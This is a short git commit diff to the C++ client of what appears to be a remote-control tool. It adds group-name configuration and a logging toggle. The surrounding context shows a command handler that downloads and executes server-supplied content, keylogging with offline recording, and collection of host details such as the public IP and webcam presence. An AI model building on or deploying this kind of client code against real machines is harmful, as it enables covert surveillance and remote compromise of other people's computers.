Feature: Complete re-group logic and add log control

This commit is contained in:
yuanyuanxiang
2025-12-17 23:07:54 +01:00
parent 23564ef19f
commit 602997082e
7 changed files with 52 additions and 3 deletions

View File

@@ -489,6 +489,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
case CMD_SET_GROUP:{
std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "group_name", group);
break;
}
case COMMAND_DOWN_EXEC:
{
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
@@ -708,6 +715,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
mgr->m_bIsOfflineRecord = TRUE;
}
Logger::getInstance().usingLog(m_settings.EnableLog);
}
break;
case COMMAND_KEYBOARD: { //键盘记录

View File

@@ -288,6 +288,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
{
iniFile cfg(CLIENT_PATH);
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
//获得操作系统信息
@@ -301,6 +302,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
dwCPUMHz = CPUClockMHz();
BOOL bWebCamIsExist = WebCamIsExist();
std::string group = cfg.GetStr("settings", "group_name");
if (!group.empty())
strcpy_s(conn.szGroupName, group.c_str());
if (conn.szGroupName[0] == 0)
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
else
@@ -317,7 +321,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // 文件路径
LoginInfor.AddReserved("?"); // test
iniFile cfg(CLIENT_PATH);
std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);